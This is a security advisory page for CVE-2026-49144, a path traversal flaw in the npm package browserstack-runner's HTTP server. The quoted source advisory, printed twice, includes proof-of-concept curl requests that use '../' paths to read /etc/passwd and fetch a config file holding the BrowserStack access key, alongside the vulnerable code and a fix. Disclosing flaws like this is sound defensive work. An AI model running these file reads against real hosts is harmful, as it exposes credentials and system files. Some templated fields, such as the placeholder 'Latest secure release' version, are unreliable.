CVE-2026-49144: Browserstack runner Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-8rpw-6cqh-2v9h
CVSS 6.5
CWE-22
Published
Advisory Summary

CVE-2026-49144 is a HIGH (CVSS 6.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Browserstack runner libraries in the npm ecosystem. The issue involves browserstack-runner has an unauthenticated arbitrary file read via path traversal in http server. Remediation is available in the latest vendor maintenance releases.

CVE-2026-49144 at a Glance

CVE Identifier CVE-2026-49144
GHSA Identifier GHSA-8rpw-6cqh-2v9h
Severity HIGH
CVSS v3.1 Base Score 6.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Browserstack runner
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-49144

To remediate this vulnerability, upgrade all affected Browserstack runner dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

browserstack-runner fixed: Latest secure release
npm install browserstack-runner@Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls browserstack-runner

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-49144, inspect your project dependencies using npm:

npm ls browserstack-runner

Analyze the terminal output to locate any version of Browserstack runner in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The npm ls browserstack-runner command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Browserstack runner, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem. ## Root Cause **lib/server.js, lines 530–534 : `_default` handler:** ```javascript '_default': function defaultHandler(uri, body, request, response) { var filePath = path.join(process.cwd(), uri); handleFile(filePath, request, response); } ``` `uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file. **bin/cli.js, line 131 : server binding:** ```javascript server.listen(parseInt(config.test_server_port, 10)); ``` No hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces). **No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check. ## Steps to Reproduce ### Step 1 : Start the server (Terminal 1) ```bash cd browserstack-runner echo '<html><body>test</body></html>' > _poc_test.html echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js ``` ### Step 2 : Read arbitrary files (Terminal 2) **Read /etc/hostname:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname" ``` **Read /etc/passwd:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd" ``` **Read the BrowserStack access key from config:** ```bash curl -s "http://127.0.0.1:8888/browserstack.json" ``` > **Note:** `--path-as-is` is required because curl normalizes `../` sequences > by default. Browsers and HTTP libraries that do not normalize URL paths > (or that allow raw path construction) can exploit this without special flags. ### Expected Result - `/etc/hostname` → server returns the machine hostname - `/etc/passwd` → server returns the full passwd file - `browserstack.json` → server returns the config including the BrowserStack access key ## Impact - **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext - **Source code theft** : all project files are readable - **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc. - **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker ## Suggested Fix 1. Validate the resolved path stays within the project root: ```javascript var filePath = path.resolve(process.cwd(), '.' + uri); if (!filePath.startsWith(process.cwd() + path.sep)) { sendError(response, 'Forbidden', 403); return; } ``` 2. Bind on `127.0.0.1` 3. Add authentication to the `_default` handler

CVE-2026-49144 Affected Browserstack runner Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
browserstack-runner
npm
≤ 0.9.5

References

Frequently Asked Questions

What is CVE-2026-49144?
CVE-2026-49144 is a security vulnerability in Browserstack runner involving browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Browserstack runner versions are affected?
Affected versions include releases prior to current release patches across affected packages: browserstack-runner.
What version fixes CVE-2026-49144?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is browserstack-runner affected?
Yes, browserstack-runner is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-49144?
CVE-2026-49144 has a CVSS v3.1 base score of 6.5 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-49144?
CVE-2026-49144 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-49144?
Run the dependency tree command: 'npm ls browserstack-runner'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8rpw-6cqh-2v9h",
  "modified" : "2026-06-03T21:38:40Z",
  "published" : "2026-06-03T21:38:40Z",
  "aliases" : [ "CVE-2026-49144" ],
  "summary" : "browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server",
  "details" : "## Summary\n\nThe HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.\n\n## Root Cause\n\n**lib/server.js, lines 530–534 : `_default` handler:**\n\n```javascript\n'_default': function defaultHandler(uri, body, request, response) {\n    var filePath = path.join(process.cwd(), uri);\n    handleFile(filePath, request, response);\n}\n```\n\n`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.\n\n**bin/cli.js, line 131 : server binding:**\n\n```javascript\nserver.listen(parseInt(config.test_server_port, 10));\n```\n\nNo hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).\n\n**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.\n\n## Steps to Reproduce\n\n### Step 1 : Start the server (Terminal 1)\n\n```bash\ncd browserstack-runner\necho '<html><body>test</body></html>' > _poc_test.html\necho '{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"_poc_test.html\",\"test_framework\":\"qunit\",\"browsers\":[]}' > browserstack.json\nnode bin/runner.js\n```\n\n### Step 2 : Read arbitrary files (Terminal 2)\n\n**Read /etc/hostname:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/hostname\"\n```\n\n**Read /etc/passwd:**\n```bash\ncurl -s --path-as-is \"http://127.0.0.1:8888/../../../etc/passwd\"\n```\n\n**Read the BrowserStack access key from config:**\n```bash\ncurl -s \"http://127.0.0.1:8888/browserstack.json\"\n```\n\n> **Note:** `--path-as-is` is required because curl normalizes `../` sequences\n> by default. Browsers and HTTP libraries that do not normalize URL paths\n> (or that allow raw path construction) can exploit this without special flags.\n\n### Expected Result\n\n- `/etc/hostname` → server returns the machine hostname\n- `/etc/passwd` → server returns the full passwd file\n- `browserstack.json` → server returns the config including the BrowserStack access key\n\n## Impact\n\n- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext\n- **Source code theft** : all project files are readable\n- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.\n- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker\n\n## Suggested Fix\n\n1. Validate the resolved path stays within the project root:\n```javascript\nvar filePath = path.resolve(process.cwd(), '.' + uri);\nif (!filePath.startsWith(process.cwd() + path.sep)) {\n    sendError(response, 'Forbidden', 403);\n    return;\n}\n```\n2. Bind on `127.0.0.1`\n3. Add authentication to the `_default` handler",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "browserstack-runner"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.9.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-8rpw-6cqh-2v9h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-49144"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/browserstack/browserstack-runner"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/browserstack-runner-path-traversal-via-default-http-handler"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-03T21:38:40Z",
    "nvd_published_at" : "2026-06-02T21:16:28Z"
  }
}